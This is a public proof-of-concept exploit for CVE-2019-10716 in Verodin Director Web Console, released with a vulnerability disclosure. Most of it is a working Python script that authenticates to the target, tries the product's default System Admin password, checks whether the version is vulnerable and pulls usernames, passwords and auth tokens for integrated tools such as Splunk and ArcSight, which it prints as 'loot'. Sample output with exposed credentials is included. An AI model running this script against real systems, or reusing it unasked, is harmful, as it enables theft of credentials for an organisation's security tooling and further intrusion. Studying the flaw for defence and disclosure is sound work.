Verodin Director Web Console 3.5.4.0 – Remote Authenticated Password Disclosure (PoC)
# Exploit Title: Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC) # Discovery Date: 2019-01-31 # Exploit Author: Nolan B. Kennedy (nxkennedy) # Vendor Homepage: https://www.verodin.com/ # Software Link : https://www.verodin.com/demo-request/demo-request-form # Tested Versions: v3.5.1.0, v3.5.2.0, v3.5.3.1 # Tested On: Windows # CVE: CVE-2019-10716 # Vulnerability Type: Sensitive Data Disclosure ### # Description: Verodin Director's REST API allows authenticated users to query the configuration # details, which include credentials, of any 50+ possible integrated security tools (e.g. Splunk, ArcSight, Palo Alto, AWS Cloud Trail). # Fortunately for attackers, members of 3 out of the 4 user groups in the Director can query this info (Users, Power Users, System Admin). # # API Request: GET https://<director-ip>/integrations.json # # Usage: python3 script.py # # Example Output: # # -- VERODIN DIRECTOR WEB CONSOLE < V3.5.4.0 - REMOTE AUTHENTICATED PASSWORD DISCLOSURE (POC) -- # -- Author: Nolan B. Kennedy (nxkennedy) -- # # # [+] Director Version # ===================== # [*] Detected version 3.5.1.0 is VULNERABLE! :) # # # [+] Account Permissions # ======================== # [*] "admin@verodin.com" is a member of "System Admin" # # # [+] Verodin Integrations # ========================= # [*] Product: splunk # [*] Username: splunk_svc_acct # [*] Misc (may include credentials): [{'scheme': 'https', 'basic': False, 'password': 'Sup3rP@ssw0rd', # 'port': 8089, 'host': '10.0.0.6', 'username': 'splunk_svc_acct'}, # {'proxy_hash': None}] # # [*] Product: arcsight # [*] Username: arcsight_admin # [*] Misc (may include credentials): ['10.0.0.7', 8443, 'https', 'arcsight_admin', 'Sup3rP@ssw0rd', # "/All Filters/Personal/integration_user's filters/Verodin Filter", 'Verodin Query Viewer', 60] # # [+] Done! ### import base64 from distutils.version import LooseVersion import json import re import ssl from sys import exit from time import sleep import urllib.request verodin_ip = '0.0.0.0' # Default System Admin creds. Worth a try. username = 'admin@verodin.com' password = 'Ver0d!nP@$$' base_url = 'https://{}'.format(verodin_ip) fixed_version = '3.5.4.0' # We'll be making 3 different requests so we need a web handling function def requests(target, html=False): url = base_url + target context = ssl._create_unverified_context() # so we don't get an ssl cert error req = urllib.request.Request(url) credentials = ('{}:{}'.format(username, password)) encoded_credentials = base64.b64encode(credentials.encode('ascii')) req.add_header('Authorization', 'Basic %s' % encoded_credentials.decode("ascii")) # use %s instead of format because errors r = urllib.request.urlopen(req, context=context) content = r.read().decode('utf-8') if r.getcode() == 200: # we don't always get a 401 if auth fails if 'Cookies need to be enabled' in content: print('[!] Failed to retrieve data: Credentials incorrect/invalid') print() print('[!] Exiting...') exit(1) elif html: blob = content else: blob = json.loads(content) return blob elif r.getcode() == 401: print('[!] Failed to retrieve data: Credentials incorrect/invalid') print() print('[!] Exiting...') exit(1) else: print('[!] ERROR: Status Code {}'.format(r.getcode())) exit(1) # Do we have permissions to retrieve the creds? def getUserPerms(): target = '/users/user_prefs.json' r = requests(target) # returns a single json dict print('\n[+] Account Permissions') print('========================') group_id = r['user_group_id'] roles = {'Reporting': 4, 'Users': 3, 'Power Users': 2, 'System Admin': 1} for role,value in roles.items(): if group_id == value: print('[*] "{}" is a member of "{}"'.format(username, role)) print() if group_id == 4: print('[!] This account does not have sufficient privs. You need "Users" or higher.') print() print('[!] Exiting...') exit(1) sleep(0.5) # We need to verify the target Director is running a vulnerable version def checkVuln(): target = '/settings/system' r = requests(target, html=True) field = re.search(r'Director\sVersion:.*', r) version = field.group().split('<')[0].split(" ")[2] print('\n[+] Director Version') print('=====================') if LooseVersion(version) < LooseVersion(fixed_version): print('[*] Detected version {} is VULNERABLE! :)'.format(version)) print() else: print('[!] Detected version {} is not vulnerable. Must be < {}'.format(version, fixed_version)) print() print('[!] Exiting...') sleep(0.5) # Where we parse out any creds or other useful info def getLoot(): target = '/integrations.json' r = requests(target) # a list of json dicts print('\n[+] Verodin Integrations') print('=========================') if not r: print('[+] Dang! No integrations configured in this Director :(') print() else: for integration in r: product = integration['package_name'] # constant key misc = integration.get('new_client_args') # we use .get to return a None type if the key doesn't exist user = integration.get('username') passw = integration.get('password') token = integration.get('auth_token') print('[*] Product: {}'.format(product)) if user: print('[*] Username: {}'.format(user)) if passw: print('[*] Password: {}'.format(passw)) if token and token is not 'null': print('[*] Auth Token: {}'.format(token)) if misc: print('[*] Misc (may include credentials): {}'.format(misc)) print() sleep(0.5) def main(): print('\n-- Verodin Director Web Console < v3.5.4.0 - Remote Authenticated Password Disclosure (PoC) --'.upper()) print('-- Author: Nolan B. Kennedy (nxkennedy) --') print() checkVuln() getUserPerms() getLoot() print('[+] Done!') if __name__ == '__main__': main() |